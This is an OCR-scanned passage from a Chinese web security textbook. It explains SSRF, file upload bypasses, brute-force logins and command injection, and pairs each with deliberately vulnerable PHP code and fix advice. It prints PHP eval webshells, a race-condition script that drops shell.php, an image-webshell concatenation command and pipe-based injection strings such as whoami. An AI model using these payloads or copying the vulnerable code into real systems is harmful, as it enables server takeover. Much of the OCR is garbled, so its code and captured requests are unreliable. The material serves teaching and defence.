图4-104 篡改URL网址为本地文件

4.7.4 SSRF 漏洞代码分析

在页面SSRF抖lp中，程序获取GET参数URL，通过curl init（）初始化curl组件后，

将参数URL带入curl_setopt($ch, CURLOPT_URL, $url），然后调用所以curl-exec请求该

URL。 由于服务端会将banner信息返回客户端，所以可以根据banner判断主机是否存

在某些服务，代码如下。

<? php 
function cu 「1 ($ u 「l ){

$ch = cu「l_init ();

curl_setopt($ch, CURLOPT_URL, $u 「1);

curl_setopt($ch, CURLOPT_HEADER ， θ ）； 

cu「l_exec($ch);

cu「l_close($ch) ;

$url = $_GET['u「l ’］；

cu 「1($url);

?>

4.7.5 SSRF 漏洞修复建议

针对SS盯漏洞的修复，笔者给出以下这几点建议。

• 限制请求的端口只能为Web端口，只允许访问HTTP和HTTPS的请求。. 限制不能访问内网的IP，以防止对内网进行攻击。

• 屏蔽返回的详细信息。
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4.8 文件上传

4.8.1 介绍文件上传漏洞

在现代互联网的Web应用程序中，上传文件是一种常见的功能， 因为它有助于提

高业务效率，比如企业的OA系统，允许用户上传图片、视频、头像和许多其他类型

的文件。然而向用户提供的功能越多， Web应用受到攻击的风险就越大，如果Web应

用存在文件上传漏洞，那么恶意用户就可以利用文件上传漏洞将可执行脚本程序上

传到服务器中，获得网站的权限，或者进一步危害服务器。

4.8.2 有关文件上传的知识

1. 为什么文件上传存在漏洞

上传文件时，如果服务端代码未对客户端上传的文件进行严格的验证和过滤，

就容易造成可以上传任意文件的情况，包括上传脚本文件（asp 、 aspx 、 php 、 jsp等格

式的文件）。

2. 危害

非法用户可以利用上传的恶意脚本文件控制整个网站，甚至控制服务器。 这个

恶意的脚本文件，又被称为WebShell，也可将WebShell脚本称为一种网页后门，

WebShell脚本具有非常强大的功能，比如查看服务器目录、服务器中的文件，执行系

统命令等。

4.8.3 JS 检测绕过攻击

JS检测绕过上传漏洞常见于用户选择文件上传的场景，如果上传文件的后缀不被

允许，则会弹框告知，此时上传文件的数据包并没有发送到服务端，只是在客户端

浏览器使用JavaScript对数据包进行检测，如图4-105所示。
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JS检查文件后雷

← → α 命 。 127.0 .0. l /1.html

谓远Wjpg宿却由理片上传

C至1

图4- 105 客户端JS检测上传文件后缀

这时有两种方法可以绕过客户端JavaScript的检测。

• 使用浏览器的插件，删除检测文件后缀的JS代码， 然后上传文件即可绕过。. 首先把需要上传文件的后缀改成允许上传的，如jpg、 png等， 绕过JS的检测，

再抓包，把后缀名改成可执行文件的后缀即可上传成功， 如图4-106所示。
POST 布再丽U马五磊2.Pfi豆llTTPll. l 
n。st : www.ccctf.cn 
User-Agent: M。zilla/5. 0 (Mac int。oh; Intel Mac OS X 10 . 12; rv : 53.0) Geck。／ 20 10 0 1 0 1 Firef。x/5 3 . 0
Accept: text/html,applicat1。n/xhtml+xml , applicati。n/xml ; qc0.9 , */*;q-0 . 8
Accept-Language: zh-CN,zh;qc0.8 , en-US;q~0 . 5 , en;qc0 . 3 

Accept-Enc。ding : gzip, deflate 
c。ntent-Type : multipart/f。rm-data, b。undary=---------------------------1844118209 1 61074515961503323 1
c。ntent-Length : 352 
Referer : http : //www . ccctf.cn /upl。ad/js . html

c。。kie: id=l 
c。nnecti。n: keep-alive 
Upgrade-Insecure-Requests: l 

一一一一一一一一一一一一→844川2川阳7阳59615防忡忡－、 4，再改回1.php
c。ntent-Dispcs此ion : form-data; name=" file" ; filen阻’＝＇ l.jpg l ’ F 

c。ntent-Type ：皿age/jpeg I I 

., } { 
。

f 
pn hl pp ,.

·n
>

〈

n
r
饵
，．

-------------------------- - --18441182091610745159615033231 
c。ntent-Disp。Siti。n: f。rm-data; name=” submit" 

submit 
-----------------------------18441182091610745159615033231--

图4- 10 6 修改后缀
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4.8.4 JS 检测绕过攻击分析

客户端上传文件的HTML代码如下所示，在选择文件时，会调用JS的selectFile函

数，函数的作用是先将文件名转换为小写，然后通过substr获取文件名最后一个点号

后面的后缀（包括点号〉。如果后缀不是“ .jpg ”， 则会弹框提示“请选择］pg格式的照

片上传”。

<html > 
<head > 
<title > JS 检查文件后缀＜／title >

</head > 
<body > 
< SC 「ipt type＝“text /javasc 「ipt ” 〉

function selectFile(fnUpload ) { 

</ SC 「ipt >

va 「 filename = fnUpload.valu e; 
va「『『1ime = filename. to Lowe r、Cas e (). subst「（ filename.lastindexOf （”．”））；

if(mime !=” .jpg”) 

{ 
ale「t （＂请选择 jpg 格式的照片上传”） ；

fnUpload. oute「HTML=fnUpload.outer、HTML ;

<form act i on=” upload2.php ” method=” post ” enctype=” multipart/form-data ” >
<label fo「＝”file ＇’ ＞ Filename: </label > 
<input type＝”卡ile ” name＝”file ” i d＝ ” file”。nchange="selectFile(this ）”／〉

< b「 ／〉

<input type="submit" name="submit" value=” submit " / > 

</fo户m >

</body > 
</ html > 

服务端处理上传文件的代码如下所示。如果上传文件没出错，再通过自le ex ists 

判断在upload 目录下文件是否己存在，不存在的话就通过move_uploaded_ file将文件保

存到upload 目录。此PHP代码中没有对文件后缀做任何判断，所以只需要绕过前端JS

的校验就可以上传WebShell 。

<? php 
if ( $_FILES ［叩ile”］［飞「「O「·· ］ 〉 ＠）

{ 
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echo "Retu「n Code :”. $_FILES["file"]("er俨O「”］．” ＜ b俨／〉”；

else 

echo ” Upload: " . $_FILES ［”file”］［”name”］．” ＜ b「／ ＞ ＂；

echo "Type:” . $_FILES ［”file ＂］［”type ”］ ． ” ＜ b「／〉 ··；

echo "Size:“. ($_FILES ["file”][”size"] I 1024) . " Kb<b「／〉” j

echo ” Temp file :”. $_FILES ［”于ile ＂］（”tmp_name”］．” ＜ b俨 ／〉 ··；

if ( file_exists (” upload/" . $_FILES ［”手ile”］［＂ name ”］））

{ 
echo $_FILES ［叩ile”］［” name ＇’］．” al「eady exists. ”; 

} 
else 

『『1ove_uploaded_file($_FILES ["file"] [” tmp_name”], 

” upload/”. $_FILES [”file ”][”name"]); 

echo "Stored in :“ . "upload/" . $_FILES [’' file ”][”name"]; 

} 
} 

4.8.5 文件后缀绕过攻击

文件后缀绕过攻击是服务端代码中限制了某些后缀的文件不允许上传，但是有

些Apache是允许解析其他文件后缀的，例如在httpd.conf中，如果配置有如下代码，

则能够解析php和phtml文件。

AddType application/x-httpd-php .php .phtml 

所以，可以上传一个后缀为phtml的WebShell，如图4-107所示。

L电旦旦1-0.cP＿~tml

图4-107 Apache解析phtml文件

J街、6201 1 ’72岱.. 
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以剧咱－－＂＂＂＂咽 521"'6\后畜W叫队’d.. ＿咽...院＂＂＂＂＂＂＂＂何p
＂＂＂＂＇＂＂＇阳回回瞻仰，....，.，，，.，.... .咽lh-00蝇，＂＂＂吩
蝇似...曲’‘剧时阳唱1阳....四....唰懵＂＂＂切如由·

匈泪。，e l.4 ”“回阳， ... 四、＇＂＂＂＂＂
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在Apache的解析顺序中，是从右到左开始解析文件后缀的，如果最右侧的扩展

名不可识别，就继续往左判断，直到遇到可以解析的文件后缀为止，所以如果上传

的文件名类似1.php.xxxx，因为后缀xxxx不可以解析，所以向左解析后缀php，如图

4- 108所示。

127.0.0.1川.php.= • 'I II c:: ’古自 ，

图4-1 08 Apache解析l顺序

4.8.6 文件后缀绕过代码分析

服务端处理上传文件的代码如下所示。通过函数pathinfo（）获取文件后缀，将后

缀转换为小写后，判断是不是“php”，如果上传文件的后缀是php，则不允许上传，

所以此处可以通过利用Apache解析顺序或上传phtml等后缀的文件绕过该代码限制。

<?php 
i手（$＿FILES ［叩ile ”］［”e「「O「”］〉＠）

{ 
echo ” Rett」「n Code :“. $_FILES ［”file ”］［”E「「O「”］．”＜ b「／〉” i

else 

{ 
$in于o=pathinfo ( $_FILES ［”file ” ］［＂ name"]);

$ext=$info [’ extension ’]; ／／得到文件扩展名
if (st 「tolowe「（ $ext) == ” php”){ 

exit （”不允许的后缀名”）；

} 
echo "Upload ：” ．$一FILES ［”于ile ” ］［” name"] .”<br />” i 
echo "Type:”. $_FI LES [”file ”][”type '’].”< br /> " ; 
echo "Size:”. ($_FILES ［叩ile”］［” size"] I 1024) .” Kb < b「／〉”；

ech。 ”Temp 于ile ： ” . $_FILES [”file ”][” tmp_name”].”< br />” j 

i于（file_exists(" upload／”. $_FILES[ ” file ”] [” name”])) 

{ 
echo $_FILES [”file"] [” name"] . " alr、eady exists . ”; 



第4章 Web安全原理剖析 ‘ 163 

else 

move_uploaded_file($_FILES [”file"] [ ” t mp name”], 

” upload/" . $_FILES ["file”][”name"]); 

?>

echo ” St or、ed in :” . ” upload/" . $_FILES [”file "][ ” name ”]; 

} 
} 

4.8.7 文件类型绕过攻击

在客户端上传文件时，通过B町 Suite抓取数据包，当上传一个php格式的文件时，

可以看到数据包中Content-Type的值是application/octet-stream，而上传jpg格式的文件

时，数据包中Content-Type的值是1mage/jpeg，如图4-109和图4-110所示。

---------------------------41184676334 
Content-Disposition: form-data; name="file"; filename=''!. php" 
Content-Type: application/octet-stream 

<?php @eval($_POST(a]); ?> 
．，，，，，－－－－－－－－－，唱’－－－－－－－－－－－41184676334
Content-Disposition: form-data; name=” submit" 

submit 
．呻－－．．．．．．．．．．…”－…－－－－－－－41184676334，’

图4-109 上传php文件

,.,··-…-…·---··-…------24464570528145 
Content-Disposition ：俨orm-data; name=”file ” j filename="l.jpg ” 
Content-Type : image/jpeg 

<?php @eval($_POST[a]); ?> 
－－－…－，，，，，－咱，－－－－－……－－24464570528145

Content-Disposition: form-data; name="submit ” 

submit 
.........................…-24464570528145--

图4-110 上传jpg文件

如果服务端代码是通过Content-Type的值来判断文件的类型，那么就存在被绕过
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的可能，因为Content-Type的值是通过客户端传递的，是可以任意修改的。 所以当上

千专一个php文件时， 在Burp Suite中将Content-Type11妻改为image/jpeg，就可以绕过服务

端的检测，如图4-111所示。

POST /upload4.php HTTP/1.1 
H。st: 127.0.0.1 
User-Agent" Mozilla/5.0 (Windows NT 10.0；飞NO飞N64 ：， 向.51.0) Geck。／20100101 Firefox/ 51.0 
Accept: text/html.application/xhtml +xml,application/xml;q = 0.9，＊，户，q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Referer: http:// 127 .0.0.1 /upload2.html 
c。nnection: keep-alive 
Upgrade-Insecure-Requests: 1 
Conten t-Type: multipart/form-data; b。undary＝一…一一一一一一－－－19990253701301
c。ntent-Length : 878014 

…－一一一－…一－……··－－－一一 － 1 9990253701301
c。ntent-Dispositi。n: form-data; name=”tne·; filename =”1.php" 
f on tent-Type: image/jpeg I 

<’php @eval($”POST[a)); ? > 

…··……一一一－一一…一一，－－19990253701301
c。ntent-Disp。sition：“rm-data; name= "submit" 

submit 
．．．．．．．，一··一一………－－19990253701301 一

图4-111 修改Content-Type为图片格式

4.8.8 文件类型绕过代码分析

服务端处理上传文件的代码如下所示，服务端代码判断$＿FILES［”自le”］［”可pe”］

是不是图片的格式 C image/gif, image/jpeg, image/pjpeg），如果不是，则不允许上传

该文件，而$＿FILES［”自le”］［＂type”］是客户端请求数据包中的Content-Type，所以可以

通过修改Content-Type的值绕过该代码限制。

<?php 

if ($_FILES [”file"] ［” e「「O「”］ 〉白）

{ 
echo ” Retu「n Code:”, $_FILES [”file ”] [ "e 「「O「”］．” ＜ b「／〉 ” ；

else 

if (($_FILES ［”file ＂］［ ”type”］！＝” image/gi于”） && ($_FILES["file”][” type”]!= 
” image/jpeg”) 

&& ($_FILES ［叩ile" ][” type”]!=” image/pjpeg")){ 
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exit($_FILES [”file"]["type ”]) ; 
exit （”不允许的格式”）；

} 
echo "Upload:”. $_FILES ["file "][”name " ] . " < b俨／〉 ” j

echo "Type:” . $_FILES ［”file”］［”type”］．” ＜ b「／ ＞ ＂；

echo "Size : " . ($_FILES [”file '’][”size ”] I 1024) . " Kb<br />” i 

echo ” Temp 于ile ：”. $_ FILES ["file ”］［＂ tmp_name”］．气b「／ ＞ ＂；

if (file_exists (” upload/" . $_FILES [”file"] ["name”])) 

{ 
echo $_FILES["file”][”name ”] . " al 「eady exists .”j 

} 
else 

move_uploaded_file($_FILES ["file"] [” tmp_name ”], 

” upload /” . $_FILES["file "][”name"]); 

echo ” Sto「ed in :”. ” upload/" . $_FILES ［叩ile ＂］［ ”name ” ］ ; 

} 
} 

?>

在PHP中还存在一种相似的文件上传漏洞， P旧函数getimagesize（）可以获取图片

的宽、 高等信息，如果上传的不是图片文件， 那么getimagesize（）就获取不到信息，则

不允许上传，代码如下所示。

) AO 
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echo ” Retu「n Code:”. $_FILES["file ＂］［”E「「O「”］． ”＜ b 「 ／〉 ”；

else 

if(!getimagesize($_FILES ［叩ile”］［＂ tmp_name ”］））｛

exit （”不允许的文件”）；

} 
echo "Upload:“ . $_FILES["file "][”name”].”<br /> " ; 

echo ” Type : " . $_FILES [”file ”][”type"] .” ＜ b「 ／〉 ” j

echo 飞ize ：” . ($_FILES [”file ”][" size”] I 1024) . " Kb< b「／〉 ” j

echo "Temp file : ”. $_FILES [”file ”][” tmp_name"] .”<br /> ”; 

if (file_exists (” upload/”. $_FILES["file "][”name"] ) ) 

{ 
echo $_FILES [” file"]["name”].” already exists . ” i 
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>

else 

move_uploaded_file($_FILES [”file ”][” tmp_name"], 
” upload / ” . $_FILES["file "] [” name"]); 
echo "Stored in :”.”upload/”. $_FILES ［＂于ile"] ["name”]; 

} 
} 

但是，我们可以将一个图片和一个WebShell合并为一个文件，例如使用以下命令。

cat image . png webshell.php > image . php 

此时， 使用getimagesize（）就可以获取图片信息，且WebShell的后缀是php，也能

被Apache解析为脚本文件，通过这种方式就可以绕过getimagesize（）的限制 。

4.8.9 文件截断绕过攻击

截断类型 ： PHP %00截断。

截断原理：由于00代表结束符，所以会把00后面的所有字符删除。

截断条件： PHP版本小于5.3.4 , PHP的magic_quotes _gpc为OFF状态。

如图4-11 2所示，在上传文件时，服务端将GET参数jieduan的内容作为上传后文

件名的第一部分，然后将按时间生成的图片文件名作为上传后文件名的第二部分。

127.0.0.1/1.php可ieduan=111 ×

f- －善 σ 命 。 1川.0.1 /1向？川
}/ 

上传成功

路径： uploadE:iTh2201 so3oso32so1.jpg 

图4-112 上传图片

修改参数jieduan为1抖lp%00扣g，文件被保存到服务器时， %00会把“ .jpg”和按

时间生成的图片文件名全部截断，那么文件名就剩下l .php，因此成功上传了WebShell

脚本，如图4- 113所示。
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图4-113 利用截断上传WebShell

4.8.10 文件截断绕过代码分析
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服务端处理上传文件的代码如下所示，程序使用substr获取文件的后缀，然后判

断后缀是否是flv 、 swf、 mp3 、 mp4 、 3即、 zip, rar、 gif、 jpg 、 png 、 bmp中的一种，

如果不是，则不允许上传该文件。 但是在保存的路径中有$_ REQUEST['jieduan＇］，那

么此处可以利用00截断尝试绕过服务端限制。

<?php 
e「ror＿「eporting （ θ ） ; 

$ext a「「＝
a「「ay （’ flv ＇，’ SW卡’ 3 ’ mp3 ＇，’ mp4 ’，’ 3gp ’，’ zip', ’「a「’ ，’ gif ’，’ jpg ’，’ png ’ ，’ bmp ’）；

$file ext = 

sub st「（$ FILES[ 'file ’］［’ name'],st「「pos($_FILES[ 'file ’][’ name ’],”.”)+1); 

if(in_a「「ay($file_ext,$ext_ar「））

{ 
$tempFile = $_FILES [’ file ’][' tmp_name ’]; 

／／这句话的$＿REQUEST[ 'jieduan ’］造成可以利用截断上传

$ta「getPath = "L』 pload /

99).date (’’YmdHis ”).” . " .$file_ext; 
if(move_uploaded_file($tempFile,$targetPath)) 

{ 
echo ’ 上传成功 ＇ . ' <br >’ j 

echo ’ 路径：’ .$tar、getPath; 

else 
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echo （”上传失败，．）；

} 
else 

echo （“不允许的后缀”） ; 

在多数情况下，截断绕过都是用在文件名后面加上HEX形式的%00来测试， 例如

filename=' I 抖lp%00.jpg＇， 但是由于在php 中，$＿FILES ['file'] ［ ’name’］在得到文件名

时， %00之后的内容己经被截断了，所以$＿FILES ['file’］［’name’］得到的后缀是php，而

不是php%00扣g， 因而此时不能通过if(in_aπay($file_ ext,$ext_ a的）的检查，如图4-114

和图4- 115所示。
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4.8.11 竞争条件攻击

一些网站上传文件的逻辑是先允许上传任意文件， 然后检查上传的文件是否包

含WebShell脚本，如果包含则删除该文件。这里存在的问题是文件上传成功后和删除

文件之间存在一个短的时间差（因为要执行检查文件和删除文件的操作〉，攻击者就

可以利用这个时间差完成竞争条件的上传漏洞攻击。

攻击者先上传一个WebShell脚本10抖lp . 10抖lp的内容是生成一个新的WebShell

脚本shell.php, 10.php的代码如下所示。

<?php 

fputs (fop en ( ' .. I shell. php ’,’w’ ),’ <?php @eval($_POST[a]) ?>’); 
?>

当 10抖1p上传成功后，客户端立即访问 10抖1p，则会在服务端当前目录下自动生

成shell抖1p，这时攻击者就利用时间差完成了WebShell的上传，如图4-116所示。
」＇＂由二I ""'m' I"""" I ”<>< I 
，。z’ ／ j :i pllp 8 TTP / l l 
·．．，也 I 12' 0 0 l 
…r-Av•n毡’”。i:1ll•/S Cl 《’h•c:int。•hi Int•鸟”..。：： X 10 121 rv1S3 。，
G• cko 201001。 1 r iret。粟，53.0

Acc•pti t•xt / ht111l,e.pph catlon／础，t•l•uol，呻pllca也1on /.. l1q•O 9 , • / • 1q•O.t 
Amp<-'°""'""" ,__,,. , ,,,. ,.•0.8,”_,.,,., '"""""'" .... ,,_.""''""'' ，，坤，“flat•
旬，＇＇＂＂＇，’”＂刷lt ipart./tora-d e.t• 1
bound•叮·一－－－－－－一…－－－－－－－－－－－－－－－”2157'677a…77 79510141'190 
Cont•nt -tAngth a :”’ 
•• f •，「..，，、，E毡， 1 // 127 0 0. 1’,, .... 1 
Co。kie 1 c•rttoke”•:7 71I>I.”, .......””Ul‘’.，，。＆9 Ca。，, ... _ .... "…u ..‘lb。2 1Ul442c& 547tUb。，‘＂＇ ····－、‘…•dlU.n/
u…r_p••••。lble4 0 4cU 9't6'e3 4 6a3bb6ttlalc 7 
Conn~tion1 c l o•• 

E旦旦二旦旦
I• E ”’”’L A ‘YU\"" 。o.te1 Thu, lO Uov 20口 Ma曰， 54 GKT 

!;erveri Ap.c1h• 
JC-Power·K -11，τ ’”P/5.6 lO 
Connect！。n• cl。.. 
Cont•n龟－typ.; t•JI:皂，hu-11 chu·••也•OTJ'-8
e。ntent-IA呵由I 144 

Uploa d : 10 ,‘’‘b r / >Tfp• S.-1a” ’··‘b r />Sia• 。。703.UI ’‘”《br / >T~ 
filo IAoplioo<lo,./KA><’J毡耐，，，．，，’‘，。””’。，＜br ／.，. £也ored. .h 笛，，A…11。．，．，

,,., ... ＿，＂＇＂°＂＇＂－·＂＂＂＇＇巴. l 

’·－－－－－－－－，－句－－－－－－ －－－－－－－－－－ tt267t6771551777t6101•7•l，。
c。＂＇°＂＇－＇＂＇°＂＂°＂ fo oo-d o<o "ooo• ' tilo’, a il• n- ••"” ’” . 
归＂t•nt－’”＂ ,_,.,, •• , 
‘”hp ＇＇＂＂＂。＇＂＂＇ 'l •h•ll.ph ， ’ ， · ．．·｝ ，’‘”机，．．、，‘＂＇－，。s’1•11 ,, ., , ,, 

－－－－－－－··－－－－－－－··－…－－…－－99 2‘＇＂＇’16617'7'61014743，。
c。11t.ent-Dhpo• .i’~:i.on t ono-da ta, nama•"•ub•it" 

•ub11i也

－－－－－－－－－－－··－－－－…－－－－－－－－－ 119 2‘7’‘”1561 777’‘101'Hl，。－，

图4-116 利用竞争条件上传WebShell

4.8.12 竞争条件代码分析

程序获取文件$＿FILES［”自le”］［”name”］的代码如下所示，先判断upload目录下是否

存在相同的文件，如果不存在，则直接上传文件，在判断文件是否为WebShell时，还

有删除WebShell时，都是需要时间来执行的，如果我们能在删除文件前就访问该

WebShell，那么会创建一个新的WebShell，从而绕过该代码限制。
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echo ” Retur、n Code :” . $_FILES ［叩ile ” ］［”e「ror ” ］．” ＜ br / >”; 

e l se 

?>

echo ” Upload:”. $_FILES [”file"] ［” name”］．” ＜ b俨／〉 ” j

ec ho ” Type : ” . $_FILES [”file"] [” type " ] .” ＜ b「／〉 ” j

echo "Size:” . ($_FILES ［吁ile”］［” s i ze ”］ I 1024) . " Kb < b「／ 〉 ” i

ec ho ” Temp 于ile ：” . $_FILES("file ” ][” tmp_name ”] . ” <br / >” j 

if (file_exists (” upload/”. $_FILES["file "][”name ”])) 

{ 
echo $_FILES["file”][”name”].” already exists. ”; 

} 
else 

move_uploaded_file($_ FILES [ ”file ” ] [ ” tmp_name ” ], 

” upload /” . $_FILES ［叩ile”］［”name " ]) ;

echo "Sto「ed in :”.”upload/”. $_FILES ["file ” ］［飞ame ”］；

／／为了说明， 这里利用 sleep （） 函数让程序休眠 10s

sleep (”10”) ; 
／／检查上传的文件是否是 WebShell，如果是，则删除

unlink (” upload /” . $_ FILES [ ”file ” ] [” name ” ]) ; 

} 
} 

4.8.13 文件上传修复建议

针对文件上传的修复，笔者给出以下这两点建议。

. 通过自名单的方式判断文件后缀是否合法。

• 对上传后的文件进行重命名，例如rand( lO , 99). date（咋mdHis”） . ＂ .jpg” 。

4.9 暴力破解

4.9.1 介绍暴力破解漏洞

暴力破解的产生是由于服务器端没有做限制，导致攻击者可以通过暴力的手段
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破解所需信息，如用户名、密码、验证码等。暴力破解需要一个庞大的字典，如4位

数字的验证码，那么暴力破解的范围就是0000～9999 ， 暴力破解的关键在于字典的大小。

4‘ Web安全原理剖析

暴力破解漏洞攻击4.9.2 

暴力破解攻击的测试地址为http:// 127.0.0 . l /bp.html 。

一般情况下，系统中都存在管理账号 ： admin，下面我们就尝试破解admin的密

码，首先用户名处输入账号a也nin，接着随便输入一个密码，使用Buwp Suite抓包，

在In企ader中选中密码处爆破，导入密码字典并开始爆破，如图4- 117所示。可以看到，

有一个数据包的Length值跟其他的都不一样，这个数据包中的Payload就是爆破成功

的密码，如图4-118所示。

，。.. / bp.php 阻，rTP / l. l 
8。•t: 127 .o 0.1 
uao. Aqent 悦。：ill•/S 0 (Hae立nt。ah; In也el Mac 。s X 10 12, rv'53.0 ) Geek。／2010。 101 Fire，。x/ 53. 。

Accept< text/htol,opplicoti。n / xh乞，主＋XDl, opplicoti。n /xol;q•。，， • ！ •； q•O 8 
Accept-Lonquoqa• 'h-ctl,:h;q•O 8,on-OS;q• O S,on;q•O 3 
Accept-Enc。dinq. 9'ip, defl•也·
c。nt• •t-Type. opplico乞止。n /x-ww-t。n11-urlenc。ded
c。ntent-Lenqth. 29 
Rehrer httpo // 127.0 . 0 l / bp.htol 
Co。kie c•rftoken• :::77llk9时’d9t4Zb呵R2loPcypOB9Ca。’”rc_tokon•OeSfeeolb O 11创刊42c8547 f 86b09al 7; uaer_n~•·•dmin; 
uoer _paaa•O 8b8e4 04 c84 '9 < 6 9e3 4 6a3bb6 tf 3 a 3c 7 
c。nnection. close 
Op9rade-InHCU言e-ROQUHt" 1 

uaernAde•ad偏in‘po.••，。rd•

Attack type: I Sniper 

Burp的Intruder模块图4-117
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4.9.3 暴力破解漏洞代码分析

服务端处理用户登录的代码如下所示，程序获取POST参数username和参数

password，然后在数据库中查询输入的用户名和密码是否存在，如果存在， 则登录成

功 。 但是这里没有对登录的次数做限制，所以只要用户一直尝试登录，就可以进行

暴力破解。

<?php 
$con=mysqli_connect("localhost ＂，” root门”123456”，”test ”）；

／／ 检测连接

if (mysqli_connect_e「rno())

{ 
echo ”连接失败： ” . mysqli_connect_e「ror();

} 
$user、name = $_POST ［ ’ use 「name ');

$passwor、d = $_POST ［’ passwo「d ’］ ; 

$「esult = mysqli_quer、y($con，” select * f「or『l use「s whe「E

、 use「name 、 ＝．” .addslashes($use「name)."' and 、 passwo「d 、 ＝．” .md5($password ） . …”）；

$「ow = mysqli_fetch_a「「ay （$「esult); 

if （$俨ow) { 
exit (” login success"); 

}else{ 
exit (” login failed") ; 

} 
?>

4.9 .4 暴力破解漏洞修复建议

针对暴力破解漏洞的修复，笔者给出以下两点建议。

• 如果用户登录次数超过设置的阎值，则锁定账号。. 如果某个IP登录次数超过设置的阑值， 则锁定IP 。

锁定IP存在的一个问题是：如果多个用户使用的是同一个E，则会造成其他用户

也不能登录。
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4.10 命令执行

4.10.1 介绍命令执行漏洞

应用程序有时需要调用一些执行系统命令的函数，如在PHP中，使用system、 ex町、

shell_ exec 、 passthru 、 popen 、 proc_popen等函数可以执行系统命令。当黑客能控制这

些函数中的参数时，就可以将恶意的系统命令拼接到正常命令中，从而造成命令执

行攻击，这就是命令执行漏洞。

4.10.2 命令执行漏洞攻击

命令执行攻击的测试地址： http : // 127.0 . 0.1/1.php?ip=127 .0.0.1 。

页面 l .php提供了ping的功能， 当给参数IP输入 127.0.0.1 时，程序会执行ping

127.0.0.1 ，然后将ping的结果返回到页面上，如图4-119所示。

GET / 1.php?;p,127 0.0.1 ”πl'/1 .1 

”。It 127.0.0.1 
Um-Agent M。＂~＇β.owu、de民＂ NT 10.0; W。\V64：， 阿:58.0J Gecko/20100101 Fktfo时·se.o
Accept tex飞/htmlappl;caoon/xhtml崎mlapphcati。n/xml ,q=0.9 •户：q=0.8

Accept-1..lnguage: 挝、－CN川、；q•0.8.zh lW:q•0 .7.z如－HK；句•05, tn-US;q•03ι凹，Q•02

Aεctp t Enc。d;ng grip, de何ate
Connection: cl。”
Upg<ade lnmurt-Requem· ’ 

图4-119 执行ping 127.0.0.1 

• HllP/11 200 。K
Datt:n、比 08 M" 2018 07.19:25 GMT 
S"vtr. Apache/2A2l 队.'on32）。p•nSSl/1.02) mod_fcgld/2.3.9 
比Po、鸭red-By: PHP厅β.12

Connecn。n close 
Contont－τypt: texνh町吭， chmtt=UT弘8
c。nttnt-Length : 341 

正在 P;ng 127 .0 . 0.1 且’ 32 字节的戳摞
•e1盯.0.0. 1 的l!!lll：字曹：32 田间叶ms π1=64
靠自 127β.0.1 回田里字有＝ 32 时间叶msffi•G4

127.0 .0 1 的 Pmg 盹i村胃里J

报揭包：己提远＝ 2, 8擅ti= 2 . 菩提＝ 0{0%丢到．
佳运行程甜甜＋时向ι~曾为锺也

I 困＝ Oms 最佳忌 。时，平均 ＝ Oms
量量；： =Oms , lli旺＝ Oms ， 军国＝ Oms

而如果将参数IP设置为121.0.0.1 I <lir，然后再次访问，从返回结果可以看到，程
序直接将目录结构返回到页面上了，这里就利用了管道符“｜”让系统执行了命令dir,

如图4- 120所示。
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GET / 1.php?;p=127.0.0.1ldw HTTP/ 1.1 
H。st 1 27β.0.1 

Um-Agent M。2'1•/5 0 (Windows NT 1 0 0，飞VO飞＼＇6'1, rv.58 0) Geck。＞／20100101 Fkefox/58.0 
Accept text/hn叫叩plkation／由tml咽mlappUcation/xn、l;q=09，•户;Q=0.8
Accept-Language:由 CN.zh;q=0.8，.由矶、『：q=0.7,zh-HK;q=05川－US;q=0.3,en;q=02

Acce pt-Encoding: gz;p, deflate 
c。nnecti。n close 
Upgrade Insecure -Requests: 1 

图4-120 t丸f于ping 12?.o.o.1 I d i 「

下面展示了常用的管道符。

Windows系例支持的管道符如下所示。

• HTTP/ 1.1 200 。K
Date: Thu_ 08 Mar 2018 07丑5王SGMT
Server. ApiChe/2A2l （＼＇、r.nl2) OpenSSL/1 .02j mod_fcgid/23 .9 
X-Powered-8y: PHPρ.0.12 
c。nnecti。n cl。.. 
c。ntent-Type· text/html; charset=UTF-8 
c。ntent-Length: 623 

E面嚣 D 串的’:I! P，。g.am
曹的＊列号是 24AB-F制。

0:\phpStud扒肝4阿川。，ial\WWWll'J目最

201 U田/08 11 .0’ <DIR> 
201即OJ／田 11 :09 <DIR> 
201町03/08 11-25 335 1.html 
2018/旧108 15:17 53 1 php 
2018/03／田盹52 23 2 php 

• “｜”：直接执行后面的语句。例如： ping 127.0.0.llwhoami 。

• “｜｜”：如果前面执行的语句执行出错，则执行后面的语句，前面的语句只

能为假。例如： ping 2 II whoami 。

• “＆”： 如果前面的语句为假则直接执行后面的语句，前面的语句可真可假。

例如： ping 127.0.0.l&whoami ., 

• “＆＆” ： 如果前面的语句为假则直接出错，也不执行后面的语句，前面的

语句只能为真。例如： ping 127.0.0.l&&whoami 。

Linux系统支持的管道符如下所示。

： 执行完前面的语句再执行后面的。 例如： ping 127.0.0.l;whoami 。

“｜”： 显示后面语句的执行结果。例如： ping 127.0.0.llwhoami 。

“｜｜”： 当前面的语句执行出错时，执行后面的语句。 例如： ping ll lwhoami 。

“＆”：如果前面的语句为假则直接执行后面的语句，前面的语句可真可假。 例

如： ping 127.0.0.l&whoami ., 

“＆＆”：如果前面的语句为假则直接出错，也不执行后面的，前面的语句只能

为真。例如 ： ping 127.0.0 .l &&whoami 。
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4.10.3 命令执行漏洞代码分析

服务端处理ping的代码如下所示，程序获取GET参数IP，然后拼接到system（）函

数中，利用system（）函数执行ping的功能，但是此处没有对参数IP做过滤和检测，导

致可以利用管道符执行其他的系统命令，代码如下所示。

<?php 

echo system (” ping -n 2" . $_GET['ip']); 

?>

4.10.4 命令执行漏洞修复建议

针对命令执行漏洞的修复，笔者给出以下这几点建议。

. 尽量不要使用命令执行函数。
• 客户端提交的变量在进入执行命令函数前要做好过滤和检测。. 在使用动态函数之前，确保使用的函数是指定的函数之一。
• 对P田语言来说，不能完全控制的危险函数最好不要使用。

4.11 逻辑漏洞挖掘

4.11.1 介绍逻辑漏洞

/ J ＇－－－ 飞
I - .-- I 
I • • I 
、 、J , 

逻辑漏洞就是指攻击者利用业务的设计缺陷，获取敏感信息或破坏业务的完整

性。一般出现在密码修改、越权访问 、 密码找回、交易支付金额等功能处。其中越

权访问又有水平越权和垂直越权两种，如下所示。

• 水平越权：相同级别（权限）的用户或者同一角色中不同的用户之间，可

以越权访问、修改或者删除其他用户信息的非法操作。如果出现此漏洞，

可能会造成大批量数据的泄露，严重的甚至会造成用户信息被恶意篡改。

• 垂直越权：就是不同级别之间的用户或不同角色之间用户的越权，比如普

通用户可以执行管理员才能执行的功能。

